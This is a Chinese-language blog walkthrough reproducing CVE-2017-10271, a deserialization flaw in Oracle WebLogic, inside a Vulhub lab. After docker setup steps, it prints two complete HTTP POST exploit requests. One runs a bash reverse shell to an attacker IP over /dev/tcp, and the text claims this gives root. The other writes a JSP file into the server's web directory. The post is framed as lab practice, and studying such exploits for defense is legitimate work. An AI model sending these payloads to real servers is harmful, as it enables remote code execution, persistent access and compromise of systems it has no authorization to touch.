Vulhub环境之CVE-2017-10271漏洞复现

时间:2020-05-28
本文章向大家介绍Vulhub环境之CVE-2017-10271漏洞复现,主要包括Vulhub环境之CVE-2017-10271漏洞复现使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

Vulhub 漏洞CVE-2017-10271复现

1、打开靶机kali-linux,找到下载好的CVE-2017-10271漏洞目录,在此打开终端,输入命令启动docker:

service docker start

2、接着启动docker编译:

docker-compose up -d

3、查看容器状态:

docker ps

4、查看端口是否映射成功,下面的页面说明搭建成功。

5、访问该路径下的/wls-wsat/CoordinatorPortType11,存在下图则说明可能存在漏洞。

6、靶机环境搭建好后,使用攻击机win10开启监听9999端口:

nc -l -p 9999

7、接着构建poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.43.53:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.43.248/9999 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

8、使用bp发送poc:

9、成功反弹shell获得root权限:

10、写入shell,发送:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.43.53:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

10、访问shell,成功!

http://192.168.43.53:7001/bea_wls_internal/test.jsp

原文地址:https://www.cnblogs.com/Iamyoyodan/p/12984312.html